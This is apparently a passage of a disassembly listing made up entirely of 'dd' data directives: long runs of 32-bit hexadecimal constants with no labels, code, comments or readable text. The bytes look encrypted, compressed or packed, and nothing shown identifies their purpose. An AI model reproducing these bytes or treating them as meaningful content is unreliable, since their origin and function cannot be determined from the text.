		dd 7603C7C1h, 34E52368h, 99F3A0F8h, 71DFA40h, 0B9CC33BDh
		dd 88A7E44Dh, 9B000860h, 18561FC8h, 0E7F3Fh, 36867EDh
		dd 0DD9DEE73h, 0BC9A4915h, 141E00CCh, 0D9EA01A6h, 0D6EF1BDFh
		dd 0D7C7185Ah, 0F6964311h, 185FAFF8h, 1D8A5D0Eh, 2FABE007h
		dd 760C520Dh, 0EDDF0082h, 1E9CFAA8h, 67013530h,	0D693888Ah
		dd 6880AF2Ah, 9C55C1C8h, 4B0C6537h, 81F68249h, 1EF0EA58h
		dd 0C19E5D22h, 9C83008h, 196CF08Bh, 0CE39F926h,	2BDDAF04h
		dd 0BFAE4883h, 81164C80h, 798A0076h, 0A998B36Ch, 9D00593Ch
		dd 291E4FD1h, 46EBDCh, 1AA77518h, 73EC26F3h, 8364FB03h
		dd 0A03142B1h, 26D6093Ch, 0A4A033Fh, 0ECBA16Fh,	0DE86A017h
		dd 0F7002084h, 0D71403C6h, 3E7ED2h, 0AE4E564Dh,	0EF183208h
		dd 0E6833500h, 0C6983AF5h, 0CCA5064Bh, 60360946h, 5E0027FAh
		dd 80380C47h, 0C0BCFD6h, 43E46CDh, 0BA1E3381h, 6DEB697h
		dd 0FE6A8B06h, 0C060B0A8h, 0AB593620h, 44005587h, 0D24D4AFFh
		dd 0F2B9C4h, 8CE61753h,	88083D75h, 709E5A02h, 40FD7C38h
		dd 7151ABh, 0A0EF4743h,	561DBAB2h, 0C87C70E3h, 9429F800h
		dd 68F04EADh, 0F7DA1FD5h, 1AC0801Bh, 24399BCFh,	9907807Ah
		dd 2F48F108h, 42C35257h, 1EF3F08Dh, 85CD00A2h, 0C3C140F5h
		dd 86061ACBh, 0CE3C7656h, 6A411B18h, 0C0C7206Bh, 51B04B4h
		dd 1F3E591Fh, 0FACA047Eh, 8500F6C6h, 0B251EB72h, 6B3D1E00h
		dd 0FF84A056h, 7AF34404h, 4549BE02h, 60FB6434h,	0DEE1A89Bh
		dd 0CE160081h, 7F9D7ED8h, 0E7E5F400h, 6BDAD473h, 0A64C1B9Ah
		dd 0E0C0897Ah, 74000DE2h, 491357A5h, 1D8BFDDh, 3E78F4EBh
		dd 8F3F4A8Ah, 0E1B8F76Eh, 0BB09C135h, 60A17F30h, 2EDB71E0h
		dd 5B00226Bh, 6747958Bh, 0CF99ADh, 40286A5Dh, 7053FD76h
		dd 0FFF96100h, 846FE334h, 0CF3B034Ch, 18C10471h, 181DD9E3h
		dd 290FA272h, 1EFEA0B9h, 0C47934Dh, 2F5A5957h, 4A16D430h
		dd 0A7019A07h, 0FE950506h, 2C318982h, 90803A17h, 9ABD1CC1h
		dd 0F6000DE6h, 0FFB76890h, 9B63C6h, 0D1F50622h,	89A93916h
		dd 3C577900h, 0BB6C0E6Fh, 4DB0002Bh, 0B9E4662Ch, 0E6007359h
		dd 92475235h, 31608C2h,	99883EAAh, 0C0A0BAEFh, 0B00D34Ch
		dd 0FDBB3827h, 1F4486B2h, 40805EFBh, 0A085714Dh, 0C70018E8h
		dd 86550549h, 46AF28h, 586E84F7h, 7454FE7Bh, 0CDB98504h
		dd 3C04571h, 3A4E04Ch, 0FD89439Ch, 0C08877AEh, 0D100E6C7h
		dd 0AB4B8029h, 8BFC37h,	7A43FEB3h, 83CA408Ah, 19280100h
		dd 93C5F65Eh, 0A0ED0013h, 1DD5394Fh, 0B00DE48h,	0D22F7EA4h
		dd 95F49Ah, 7D5425E7h, 84CC42EBh, 0F04739h, 0B253BE04h
		dd 2CC08629h, 0C01572h,	6A2E128h, 0BF001890h, 464D0103h
		dd 9555E8h, 836E76D1h, 0F7317CEh, 0B079961Dh, 0B1BD9B80h
		dd 352B4Ah, 9825EC82h, 37564260h, 0B0530E28h, 6B07CF00h
		dd 7E1A4A85h, 7A512A41h, 780485BCh, 54606889h, 87E88D10h
		dd 595F00FFh, 275D5ABDh, 4900BBA2h, 0FE89E446h,	1964B8EDh
		dd 298523AFh, 443908C9h, 2284EA5Ch, 95426B7Ch, 2163E411h
		dd 225F1DE6h, 225B0122h, 9242608Dh, 0AD69447Ah,	661C28A0h
		dd 0C008AE89h, 0DD617C45h, 1447298Eh, 0D09A1150h, 0F97ABA08h
		dd 889E4510h, 5608685Ah, 84CA90ECh, 0CE44B471h,	3C024A58h
		dd 2917860Ch, 4A51C05Dh, 0E158EBA8h, 7000B3E8h,	76051E7Ah
		dd 18E82580h, 20A67FFBh, 1A3DCEE4h, 0C3E78018h,	0F89C2ECh
		dd 422839BBh, 80C8D11Dh, 37FF52F4h, 3400D8CCh, 0C0C3ECA0h
		dd 6BAA47h, 2E997CABh, 0B6910488h, 76ACF03h, 889FD27Dh
		dd 29FEA6h, 44B1EB73h, 471A2771h, 1C3DB20Fh, 0C75446E6h
		dd 8E831C30h, 65BF47CAh, 0BD27BFD2h, 0DFA8106Eh, 0CB0E69AFh
		dd 803A38DAh, 0C02D93E1h, 519F1F5Dh, 64B0400Dh,	2E0B067Ah
		dd 0BCC5FC00h, 391B8231h, 0B52F008Ah, 4C47E104h, 0C1010EDAh
		dd 0E97A26BAh, 0B1F4AAACh
		dd 3D7B0462h, 80E7F438h, 21081F4Ch, 0B4726400h,	29AD792Bh
		dd 56A700C2h, 583A0704h, 0E00014B3h, 0BC89F6A6h, 119A5Fh
		dd 0E46765A0h, 5D5F538h, 0AB3CF000h, 0E288D3E7h, 6E131EB0h
		dd 21C94E76h, 97C07AEFh, 35FD2D6Ah, 2F39BC00h, 6CB2CC4Eh
		dd 0E1BD0099h, 482A1AB7h, 83005C42h, 9E44F0EFh,	0C9185h
		dd 0B6BF4125h, 71C640E4h, 0CE3D790Ch, 11C18Dh, 0A4B29325h
		dd 0DC62153Ah, 3C023002h, 0C0CFE9C9h, 0FC1EC6h,	86032668h
		dd 1891DA41h, 0A7E43600h, 8D59745Fh, 0A24900A8h, 12C9290Dh
		dd 0FCEF41C0h, 1600E60Bh, 672D6D55h, 9BD26Eh, 623C97A8h
		dd 1937D0FAh, 10DE1106h, 1E100AC9h, 80DD3D14h, 0AA4AC79Dh
		dd 4F007722h, 0F64BF75Ah, 377306h, 9C721751h, 0B538BA35h
		dd 0ED412200h, 0F93230A3h, 0BE2730E1h, 7E45CA8h, 69469100h
		dd 8834D0C7h, 51AB003Ah, 98AC2F05h, 18008E1Ch, 8D36B6E3h
		dd 0F7C8BF9h, 6A5363DEh, 607750C0h, 7F0915C9h, 83E39FF5h
		dd 0B0348B44h, 3CDB89B4h, 4A00D8CDh, 0E2DE8299h, 9A1CB3CEh
		dd 17D8312h, 0BE2E0D64h, 46C8D910h, 452100D7h, 38C0D1A6h
		dd 0A8F8AD6Fh, 4EF87209h, 99040009h, 5EA7D4Fh, 0B7B2ECF3h
		dd 0F999C0D2h, 0B8000910h, 0B944BA85h, 1A3632h,	12F62CD7h
		dd 4D0E6B1Bh, 0FFC3F100h, 88C260FAh, 0A7E814F3h, 5E00B558h
		dd 92EEB64Bh, 0AC0069B5h, 33633DB7h, 9E08E1h, 0EAD3B191h
		dd 2DAAFB75h, 5B0056FCh, 9C502F19h, 0C0028654h,	66BB5C18h
		dd 4D07D027h, 0B1136178h, 9B335D40h, 5C440009h,	20A09DC8h
		dd 0FF50BEEFh, 0C9F273C4h, 3D7AF800h, 0CC4C7243h, 594046Bh
		dd 916297A9h, 0C0AE940h, 63B80133h, 37CF6057h, 0EA7007ADh
		dd 0A57F12h, 0AE8B5914h, 0C2E8361Eh, 0E000A8EAh, 0B638B11Dh
		dd 1D20A27Eh, 815E61BEh, 42C8E71Ch, 0E102D47Dh,	0D8F1F200h
		dd 59C36F0Fh, 93F0781h,	4CCAC1h, 84EEA5DFh, 956E2F1Ch
		dd 27BCF343h, 8CA3A0DBh, 0E29700B3h, 0B0E0DE6Ch, 7589682h
		dd 6490048h, 4C1CCC09h,	0E46477AEh, 29200E3h, 4EFA7379h
		dd 0CF00FC7Ch, 90CEDA55h, 0A1AEDCh, 0D8763C1Ah,	30A9707Dh
		dd 0C4165200h, 21FED5FAh, 0FDC73F8Ch, 0B1CC6EBEh, 0A055C600h
		dd 8D8E3EABh, 0BB1F201h, 0C81B24A6h, 5E8430h, 27477F6Bh
		dd 2E5A0659h, 700FB977h, 8046813Ch, 0BD0E9F3Dh,	0FE7B36h
		dd 0A8FCD38h, 0B180A888h, 64B9820Eh, 0AD51E030h, 60E9480Fh
		dd 0DAC458CEh, 0FC3ABE28h, 1C4D030Ch, 9E973505h, 2AE600A8h
		dd 0F44A0756h, 0AC00FB8Bh, 4184975h, 1E6FCF3Eh,	40CEB15Eh
		dd 9B781369h, 94007F95h, 761463Bh, 3B6E9128h, 8400759Fh
		dd 435F97B8h, 0C4E4E876h, 6FDB2603h, 96B2529Eh,	6D170510h
		dd 80A6B110h, 0A4578F19h, 772D3701h, 0F0906955h, 420CF30h
		dd 0BF34DCF6h, 0BD01EF0Eh, 1A9FDF93h, 5A51F4h, 0F1068960h
		dd 163F7347h, 6800A87Dh, 510BAF32h, 1282FEh, 72781880h
		dd 0CBBADE7Bh, 3A25F40Bh, 60190EFAh, 0C5138266h, 263007Ah
		dd 9BB91984h, 90003147h, 0CE4B65C9h, 108FE5h, 5689957h
		dd 35DC1C73h, 4474AB00h, 3A26754Bh, 0DC40F2Eh, 1C61033Dh
		dd 0C8027BE3h, 0DA00A383h, 572E705Fh, 460C38h, 0F8766722h
		dd 0A2CDC290h, 0AA1C13EAh, 260088F4h, 0CC6F37F7h, 28A9001Dh
		dd 0FFC91B99h, 3F3F2B69h, 497080D2h, 7B6C9690h,	36AA001Dh
		dd 2208B07Ah, 27001AB1h, 949EEC3Fh, 564F5Fh, 637C8943h
		dd 0F3FE227Eh, 0A97B420Fh, 2C90A0E3h, 0F20C231Bh, 94E4FD19h
		dd 71C9006Dh, 0F0596866h, 60FA5593h, 0DEA8DF00h, 7B8784F4h
		dd 41CD1ED8h, 0EF2A8047h, 2DFE5931h, 3B17DA00h,	0A2344C95h
		dd 26BB00CAh, 2263AD15h, 0A50035E8h, 5E0D87Fh, 9A7C9Eh
		dd 0AB1A8CF0h, 78154438h, 2A4BA701h, 1D45C016h,	2693D720h
		dd 532782h, 35CFE4BEh, 1800F112h, 53D970A0h, 588ECEE1h
		dd 6900477Eh, 2341A805h, 0B400F89Fh, 0B8F7538Ch, 0A9DD3F2h
		dd 0E3F6847Dh, 0E99100E0h, 455C8041h, 0F382FB06h, 1891CBDh
		dd 61B81BFFh, 0F085698Bh, 0C378394Bh, 55D79100h, 0FEAED194h
		dd 6825300Fh, 50A05E21h, 4C28543Dh, 0AAC71E4Bh,	19AD1A83h
		dd 0FEAF888Eh, 699602E8h, 0D45F0B91h, 55DFFA80h, 1D002A0Dh
		dd 0B5720C30h, 0D30589h, 645E3522h, 0A0DD42F1h,	0F125500h
		dd 8CFCE2DBh, 3BDF00C5h, 2421D3A7h, 0ACEA7090h,	29BC490Eh
		dd 57DD695Ah, 0C4F47480h, 0BCA0F304h, 0E603F870h, 2A0220D6h
		dd 0E037F257h, 0C3E2F6Ah, 0CDE9C4B2h, 4400A1C4h, 3596C3A7h
		dd 0F47E6E60h, 4AFA0634h, 9FC38F9h, 0A2650500h,	0F7500457h
		dd 0F8340041h, 0F32BB087h, 0D00998Fh, 0A8D1BF69h, 19C48Ah
		dd 0F2F8685Fh, 79AA43C1h, 0DA38710Fh, 4642E751h, 0D43058E0h
		dd 2CA80045h, 0FE2A210Bh, 0DB00CB59h, 6B3FD7F0h, 188E3D02h
		dd 0C0F6C041h, 0BC0198D4h, 129D8F94h, 0C660D55Eh, 578BAh
		dd 96766907h, 0C8DEC0B8h, 2B9A7D03h, 9C98D9h, 76C52509h
		dd 3F3024B0h, 0DDD42106h, 0C0B627h, 5B70B92Fh, 1457D090h
		dd 54009FFAh, 171E5EC1h, 0ABC532h, 1D375072h, 114875FAh
		dd 0F38F6103h, 0F80E73D0h, 6F9F6Bh, 0AFDA3D89h,	52CD2D6Eh
		dd 7FA7B004h, 0F900F875h, 9986662Fh, 6EB5FD05h,	930244C2h
		dd 0E0F572D3h, 3310E4Eh, 29EB2487h, 42D8642Eh, 9400A2F0h
		dd 687A4F61h, 1E2D1A4Dh, 3C5F5Bh, 0A19889D5h, 540757A6h
		dd 84724A83h, 43E57630h, 44FD1F1Dh, 0D75C005h, 0D52BA7FAh
		dd 307C1500h, 1B7B4C14h, 825B3B59h, 0C06A0694h,	0E1355000h
		dd 0A20542E0h, 45E3B424h, 0D12E6100h, 90161B68h, 0B7EC17A4h
		dd 0A8470011h, 7DE89721h, 5603B1FCh, 0A18CF65Dh, 872000B6h
		dd 9713702Eh, 0DF005B57h, 0A48589E5h, 1669E9h, 8A8BFBDBh
		dd 26464166h, 0D8088498h, 6C3C0Ch, 77EE5FC9h, 0A6003DE4h
		dd 78ABFC29h, 957BA2Dh,	0B45EEA2Ch, 89230580h, 502839A7h
		dd 0D313B48Bh, 2840DD79h, 338FB9D7h, 0E14C049h,	6234C952h
		dd 41DDF14h, 48C400B8h,	0BCF275E5h, 1E9C9809h, 4F819BECh
		dd 6AAF145Bh, 2F40F9C0h, 71007D5Ch, 0FA704A7Eh,	0FE16B6C6h
		dd 57A706FDh, 418C023Ch, 1F6E7C00h, 5DB994F0h, 0B2B10EBAh
		dd 0A6A74373h, 0CFA06E35h, 85A59510h, 0C2A11A01h, 0AD4FF47Eh
		dd 54AFB8C3h, 0FE2FE061h, 0B817503Ah, 87C10604h, 909E04Bh
		dd 0B439E703h, 0A170F29Eh, 1880BFF9h, 1F29D727h, 43003F36h
		dd 5D212DFBh, 72E2DCh, 23FA8F7Eh, 0FE295982h, 7BB84751h
		dd 0A0258BC2h, 96716B8h, 381501D0h, 1FDBC26Dh, 1AC20BDh
		dd 959CF300h, 0D0DA0230h, 0C5A007B0h, 536F2AC9h, 18D0C839h
		dd 314CE967h, 949C00E8h, 0BC6AAAFh, 4FF7006Dh, 451881DEh
		dd 48702862h, 6FA0D10Ah, 1B07BBE7h, 0AA9043F2h,	1CAE9AC7h
		dd 1E96E4D2h, 49DCC789h, 83F0139h, 345D444h, 9F9C560Fh
		dd 489D80DDh, 97FEADh, 4AB9BA26h, 61FFB336h, 1F40593Ch
		dd 7BFBF39Fh, 95F82F09h, 5A2C8066h, 405408ECh, 0AA0140EFh
		dd 5142D653h, 0C0E0FA01h, 15A40755h, 0B0D50258h, 52A54F88h
		dd 50C1DA07h, 32E08675h, 1ED4D8Dh, 0C476D67h, 0F023A45Ah
		dd 6E20B9CAh, 556B0098h, 8B1CB671h, 191F7FCCh, 540D2A8h
		dd 0B4660725h, 90AB3BDEh, 0C83F6480h, 0A6F99BE7h, 0AF30BB07h
		dd 0B4428092h, 537041BEh, 0EDAE30h, 56A9BD1Bh, 6F7D16D2h
		dd 40EAEC16h, 63C80CABh
		dd 30038FD0h, 857B28C4h, 0A58AE878h, 0BC440E72h, 3FEBDB6Dh
		dd 28AF7F0Fh, 0E08D5160h, 800FAD30h, 0A09C70B5h, 79066DF3h
		dd 0D64200C0h, 443D7814h, 0C709770Eh, 160A684h,	0AF1E7F8Ch
		dd 1D3FD0h, 18162E8Ah, 0F9DC296Eh, 2CAB0B00h, 3074BAC9h
		dd 0EC7A26h, 0C705C20Fh, 0B6D89F0h, 8375323Bh, 0A31B0491h
		dd 0F09DEB0Dh, 1E55B52Ah, 8EF1E7AEh, 5FC0D71Eh,	24FFF5A8h
		dd 0E1A2110Dh, 83F02057h, 0C333006Dh, 9A376C0Ch, 165DD632h
		dd 6FFF00C4h, 0E6C90918h, 0D12000F0h, 92ADB68Bh, 0E9000548h
		dd 6055B3B9h, 3C248Ah, 0D34AC2C1h, 78C89474h, 2024A7F6h
		dd 570970B9h, 47903042h, 0CFA42CE0h, 40401E74h,	317FDBB3h
		dd 0C67AC9B8h, 0AA1BF700h, 0FD03375h, 3C38009Bh, 474279A9h
		dd 3D00E51Eh, 9CB9F34Eh, 2E65DB40h, 66814Fh, 0C26F52EDh
		dd 1500FEBCh, 3D20EE2Dh, 7BD7F2C4h, 11360174h, 92A6D201h
		dd 99988050h, 7143A7C2h, 0A415008Fh, 0B3328222h, 453B8CD2h
		dd 0A905CB4h, 0DA3E0317h, 0F505FF24h, 0B4020B06h, 4136EE57h
		dd 69F4CF42h, 802200A8h, 0E33AF2AAh, 0BE005699h, 0B6D84BE8h
		dd 0F84652h, 0D550C6E4h, 99B7C0C2h, 0CC9813F8h,	0B43A2D1Eh
		dd 0CBFAEDC0h, 12507Ah,	47F3CF30h, 583FA856h, 0B236B800h
		dd 0F8EEE7C3h, 0F89970F7h, 0EEB395Eh, 0C095901Fh, 28648492h
		dd 873970A6h, 0DCC39BB3h, 942E0E8h, 897930DFh, 0C9B36709h
		dd 0FE721703h, 13F7A34h, 0D6571018h, 0FCBEB69Fh, 0A100B57Ch
		dd 0F2615CE0h, 27A23F0h, 0AADD05A3h, 80632C81h,	26B9C4D8h
		dd 0EF5BDB00h, 4B076A91h, 41FA0053h, 0F3DF891Dh, 56005920h
		dd 45A3EC52h, 737837h, 4B96B5C6h, 2C16F424h, 0E758F67Ah
		dd 0EECE0324h, 9C10252Dh, 40AF2081h, 6CE4E8DFh,	0B098A03Eh
		dd 22FC0056h, 1560EA81h, 69F6C576h, 0B60EBD00h,	8343F3D3h
		dd 905778B0h, 163A0010h, 5460AC0Dh, 0A701CFB5h,	0BFE5D807h
		dd 0B7011796h, 0BAC283Dh, 20F4095Ah, 9518E598h,	0CFCF9h
		dd 3F4DAEFBh, 463794CBh, 0F27CD816h, 12F38000h,	0BAD9B7h
		dd 0D4E67F49h, 0D3E8CCDAh, 9BF22900h, 47579310h, 85B500D8h
		dd 0D94C4D5Dh, 0E90F4B8Eh, 0EFC31D42h, 863200D7h, 7B22D83h
		dd 0EF3F59D3h, 7E792014h, 113FBD02h, 3CF1245Fh,	0EBCCC800h
		dd 7FFADAE1h, 3F2F0E6h,	42CB7CDh, 9AD9BD0Bh, 0C3EAC8A4h
		dd 5EB65007h, 66031CFDh, 49E1A095h, 83B00E6h, 886CF35Ch
		dd 0B74C021Dh, 4C2078B8h, 0E3501F9h, 0F80C93C6h, 0A64EC48Dh
		dd 7DCBAD00h, 0DC723319h, 906A00CAh, 732C59F0h,	100399D2h
		dd 9EF2F9C3h, 45BCB823h, 7A800058h, 1943C1B6h, 7D1291F0h
		dd 0A009AFC5h, 6EC90CFh, 0E6DB7405h, 6AA71F52h,	9B96C1E6h
		dd 0E48DE36Ch, 37134409h, 0BB00F072h, 5F92B1C9h, 0F50B882h
		dd 172314B9h, 0DBD2D120h, 2400BA7Dh, 0FD8B7998h, 243933ABh
		dd 42ED4h, 0D3B0AF83h, 0B63EEA5Bh, 49A785Fh, 394D3C00h
		dd 79D8FBE0h, 0B80700E4h, 4A2622B1h, 660061B3h,	0E160F784h
		dd 18518267h, 802B36D1h, 0A7A31E88h, 5C6001A2h,	5500B89Ah
		dd 0EDD57403h, 1213287Dh, 3630536h, 0DC6CC43Ch,	0F86966D0h
		dd 0AD2ED70Bh, 15048259h, 4AAC6442h, 0DCCEB179h, 33244B7Dh
		dd 28807C6Ah, 0A1ACD4C7h, 26EA0082h, 0C14C138h,	30ED98FAh
		dd 1B0C88A8h, 300FE53Ah, 43E0019Eh, 23E8D05Bh, 0FB46C069h
		dd 0DE7D1E00h, 2A557F4Eh, 293D0052h, 0C78B6014h, 2E001C9Ch
		dd 6B6727E2h, 0EA1395A4h, 0AAFC0055h, 0A9F86F60h, 0C971C44Eh
		dd 0AE008C78h, 0A8C86DE4h, 57CEEh, 0D76AEA84h, 0F154F649h
		dd 70551200h, 0F4DFB10Dh, 2FBB01AEh, 0D8B61E44h, 49B3D8EFh
		dd 0DE3D4200h, 0ABF3955h, 69EE0031h, 16E84D0Bh,	8501C4CEh
		dd 29C9D7E5h, 66C9ED12h, 0D3F2E0h, 0C85DD9D8h, 7FF8DA0Dh
		dd 28B55824h, 60D4CDC1h, 48F081FEh, 0ADECE9BEh,	56170095h
		dd 91C87C06h, 2A001DA7h, 63D822A5h, 0CD581Eh, 0EDB1A4BBh
		dd 0B7EB6B4Ch, 0EA24A00Bh, 37E180FDh, 0EF4AB60h, 73EE2123h
		dd 0AFA338C0h, 4D0068FEh, 7CEB6493h, 4C5947E4h,	2A04285Ah
		dd 0B0B469CCh, 4E0255ECh, 42C9FEE6h, 59F0E08Eh,	0C3983F11h
		dd 0B9A22B80h, 830B26A7h, 0DAE00E00h, 0E108E7F9h, 0BA751602h
		dd 0A72DF090h, 30204900h, 8D67B4FFh, 0E85307DFh, 530DE67Dh
		dd 100933ACh, 8FE3DC7Bh, 8AAE041h, 3C070A7h, 0CA959FE0h
		dd 93A8DE12h, 40908031h, 8BC46100h, 0A192B425h,	740603CFh
		dd 8FB23B8Dh, 0AAB3D1EBh, 0A85E49D8h, 0D8EA6A24h, 0D49C0606h
		dd 0D9C70008h, 0DF407E7h, 470E25CAh, 223D3FDEh,	80D1D631h
		dd 1A79B5BFh, 0E37FF6h,	50491519h, 6F289D5Ah, 158F248h
		dd 55BFFE18h, 97708037h, 939800E6h, 0BB3F236Ah,	9FE25EDFh
		dd 8326B47Ah, 0CA00BB09h, 19AED9F1h, 38A90064h,	0B44413FEh
		dd 7E00F5ADh, 0DC3F2162h, 0FD382h, 0B38920Ah, 0FA3E8C7Bh
		dd 2E03BAB0h, 62D2F1CBh, 52C0B5C3h, 0CD351Fh, 5E1032E9h
		dd 3C260C8Eh, 7ED38D07h, 58B020B0h, 13556083h, 0E863E028h
		dd 3B4A00A8h, 93B7DCF5h, 0C4E800E2h, 3AC0EADBh,	62006B22h
		dd 1E4D3A9h, 3D962CF1h,	0CB8A6A29h, 1F50C726h, 27428044h
		dd 8771CF36h, 0F9589C00h, 0F539667Ah, 629A007Bh, 641CF1A2h
		dd 0EE0342F2h, 318E61E4h, 0C98AD83Ah, 6D3B00D3h, 16B76A6Fh
		dd 0AC012EBEh, 1EC19BE5h, 0F3D40294h, 0B2D616DFh, 5B51019Ch
		dd 0E09A3326h, 5700592Bh, 5176771Ah, 0F0966Bh, 0F85CF60Eh
		dd 8FDFB944h, 3590E000h, 0CD032361h, 0AD4600BDh, 0FEEF5743h
		dd 3618931Ah, 1CCAD5B0h, 5CA7006Eh, 6F0AB652h, 0A1006442h
		dd 119F484Ah, 0C26C159Ch, 66B81B20h, 1E6860D7h,	0A02008Eh
		dd 3329AFC8h, 0F800C137h, 9FF3031Ch, 5828F64Ah,	0AD1C06B2h
		dd 7FD1803Eh, 739C6970h, 0D2078571h, 2836D8Eh, 0F1C078E7h
		dd 1FA877F7h, 40DC3E3Ah, 72139D35h, 3B0034D8h, 4D02C5C6h
		dd 399ECE5Eh, 0C401B75Dh, 0A4F045D4h, 0C85F31B6h, 382459E5h
		dd 0C30024DDh, 0A9830FB4h, 1C6400ACh, 6B505FCCh, 0C43DAF9Fh
		dd 811EBC4Ch, 3DD6D3DDh, 6EDC27E3h, 116100B9h, 50E232D8h
		dd 0F5FEF71Bh, 0E8EC5400h, 7073E699h, 0DA6600D2h, 818BA5EAh
		dd 0E5E07E6Dh, 6A140B00h, 132537ADh, 70DB0757h,	30A9B780h
		dd 2FF84B3h, 72530C02h,	4061E701h, 194FA30h, 0B9A34049h
		dd 0EF7635E3h, 1AC15798h, 0F3003BF4h, 534E6530h, 3AFF79F0h
		dd 9405A745h, 0C08B44E0h, 9BA1B032h, 0A2CD7000h, 9771CA60h
		dd 7DD003Dh, 580D2054h,	760F464Dh, 6023BEEAh, 74416EE9h
		dd 72390097h, 0F5CDD335h, 40E1ECC7h, 9D834BCh, 79ED5100h
		dd 0C499A9B3h, 6B2E00B5h, 0EE677D1Fh, 5609AF57h, 28158Ch
		dd 12C1517Ch, 0B0F6506Eh, 938900F5h, 979E98A5h,	0AB0078FEh
		dd 0C70A2381h, 0F891E0C8h, 56630054h, 229C46B7h, 940758CEh
		dd 0A8111B19h, 0AE8A8D51h, 0DDB2C0h, 5C653CFCh,	8F71F24Ah
		dd 5FF19700h, 0CEFF98BEh, 0D4B90002h, 0B3884BF7h, 0A6E838B4h
		dd 0AA294F00h, 0D9CBD2FAh, 0DD150220h, 36B02E44h, 324FF2E0h
		dd 0C30017E6h, 0DF82F909h, 1A4AADAh, 31B745BEh,	40A24637h
		dd 0BD16A8D0h, 0CB06B500h, 0CCE0104Ah, 0FCBB3AC6h, 0ED41EF00h
		dd 0BD125144h, 0D2DF7900h, 658D43F5h, 237EDEh, 4C2091B7h
		dd 4E21F9A4h, 56149000h, 6DC8C3E8h, 245C4DFAh, 0BF720079h
		dd 50EDB16h, 0DE00488Bh
		dd 96666D20h, 0E29B56Eh, 18F93294h, 3F1BCF60h, 0DBA267C0h
		dd 79F71C80h, 8F249802h, 4E09CC83h, 0B6A881E2h,	0A700DD3Eh
		dd 6000F92h, 4A9C5FA3h,	15564C7h, 0A4C9280Ch, 0CB1B9E66h
		dd 72A026DBh, 59480AF9h, 6CE8007Dh, 20FDAA0Fh, 4B0800FFh
		dd 0BA7BDB7Eh, 8570E26Eh, 83FC1C09h, 3E27F6F6h,	6A769C02h
		dd 8F80DE2Dh, 0E647325Bh, 0D53C3600h, 0D9171F48h, 93E1D82h
		dd 8AE289E0h, 9ABA5880h, 8D01D864h, 6ECA0521h, 0C040A178h
		dd 16FE6FC4h, 0DA40A2h,	0B2DF4D18h, 9E25AABAh, 1FE5074h
		dd 0EC5548AFh, 801DD59Ch, 0D182B6A8h, 13145Dh, 0AF98375Fh
		dd 599277E7h, 4BE8CB00h, 695CF96Dh, 0ED9F03EEh,	21111995h
		dd 394E83A8h, 8217E500h, 1C8AE156h, 2AC0012Ch, 0ECE2429Bh
		dd 5EDC249Eh, 0DADEB400h, 4AC1F959h, 0D50801FAh, 0CA6946FBh
		dd 0E9D8809Bh, 0EABF5258h, 2C1F0090h, 3E80E733h, 4081D882h
		dd 9347DCh, 0E5924648h,	6320998Dh, 267FCE00h, 0E0F2D15Eh
		dd 0C1363BB7h, 0E9F0FFDh, 0B4E432DFh, 0A5D08364h, 930CA290h
		dd 5EEF7A06h, 184092h, 1CC7C9FAh, 2DC53705h, 0CB7721F2h
		dd 85E1F400h, 4F5C7697h, 1EFC7BFAh, 403B91B8h, 0D0BA5ABCh
		dd 4B1E63E7h, 0DC02517h, 9AA61918h, 0F20248A5h,	0CF002E3Eh
		dd 9425372h, 0ED01AAB0h, 4065CC6Bh, 0A8EC032Ch,	8BBA00CFh
		dd 0E3803A39h, 7400B81Ah, 6C54B56Dh, 3B283C2Bh,	0A4D0575Bh
		dd 0B4360088h, 0BC06A672h, 1D035EDAh, 3AC709Eh,	248189E7h
		dd 215F2087h, 6C48300Bh, 160378A1h, 65A4735Eh, 1C33F80Fh
		dd 0CF061C60h, 20165Bh,	0FCA2393Ch, 0BB909269h,	0EE7B9171h
		dd 0FAA43Dh, 0FE23AF0h,	4850419Bh, 0F30060F1h, 0FDB280C1h
		dd 5500CB0Bh, 769F2BEAh, 0EABF7A36h, 77F90E28h,	2FA27C02h
		dd 0C1D44574h, 73AE8E01h, 3C70D050h, 0A99A2066h, 0EDEF009h
		dd 72DA005Eh, 289DF514h, 0D06DB2h, 0CC12D79Bh, 0E45DC083h
		dd 8168201h, 0C736587Dh, 347460h, 6A6CCB8Bh, 81E64FBBh
		dd 0B792120Dh, 0CC4406Fh, 0F68600E3h, 0DFCE05B1h, 3B00BE8Eh
		dd 0CC6625CBh, 0C069074Ah, 9BD051C1h, 6C0722B9h, 7C34F323h
		dd 997214C0h, 3B7A004Fh, 764736FBh, 6A7AC8DCh, 0DC213D38h
		dd 654D00C4h, 1E800B3Ch, 1BD10063h, 7019E41Fh, 8A4C8130h
		dd 5D9924F4h, 0A0D2160Fh, 9D78A2F7h, 4C79002Eh,	0F292C6FAh
		dd 0C704EBE7h, 0A32A06E1h, 0F794A081h, 0C0D1E2D0h, 0B54BF4A2h
		dd 0FF00885Ah, 30C13BA0h, 0E6795ADh, 6E2A6A8h, 58C91F00h
		dd 0F1125702h, 2B09256Bh, 523C0070h, 0F18490ECh, 19AC30h
		dd 303FF006h, 0F3C653F6h, 3D1A4558h, 0F74980E0h, 46B00387h
		dd 6AE8BBh, 9C3FF277h, 0D54D4490h, 0FDF37200h, 0CB7D4FBEh
		dd 0FE9E1C63h, 4380FBB6h, 252F9DF2h, 1C0EC8F5h,	0E191DC19h
		dd 8DEDB5D1h, 891292h, 0A2671B20h, 3700F032h, 0F7D78F1Fh
		dd 0A874ABh, 693FA750h,	0B504763Ah, 0C594C750h,	9986A30Ch
		dd 769230F6h, 89F33DF1h, 0B0A02B82h, 0A6E0638Dh, 8500575Ch
		dd 347D78E1h, 33161DCh,	0E615F58Fh, 4AE0407Bh, 220084D8h
		dd 1FA021B4h, 0B0DC43Dh, 0D6861293h, 30CF9011h,	4339AF52h
		dd 54140077h, 5CF89304h, 1FDD0971h, 0C000E5EDh,	136449E9h
		dd 40CEB300h, 0AD8F0E2Eh, 0C8100004h, 16CBF6FCh, 0A004CE6h
		dd 3E2AB75Ch, 3225D6Dh,	2597CA33h, 5B9024D8h, 5174303h
		dd 4701D6F1h, 8836A77Ch, 2444A0C7h, 859201A5h, 95BABE9Dh
		dd 0BC54C435h, 9CC03100h, 17E3A361h, 89BB00B2h,	0E80133AEh
		dd 1500DDE9h, 61198E71h, 0DC75C1h, 9780E43Ah, 8327DE2Bh
		dd 0BA06420Fh, 0A3EE6F59h, 988D68A6h, 90E27653h, 5D7050h
		dd 1B4B7443h, 0E6327390h, 6537B600h, 420DCF92h,	0BBF0FA3h
		dd 0D7035EAFh, 798091A4h, 0F60057C6h, 289B3148h, 44B145h
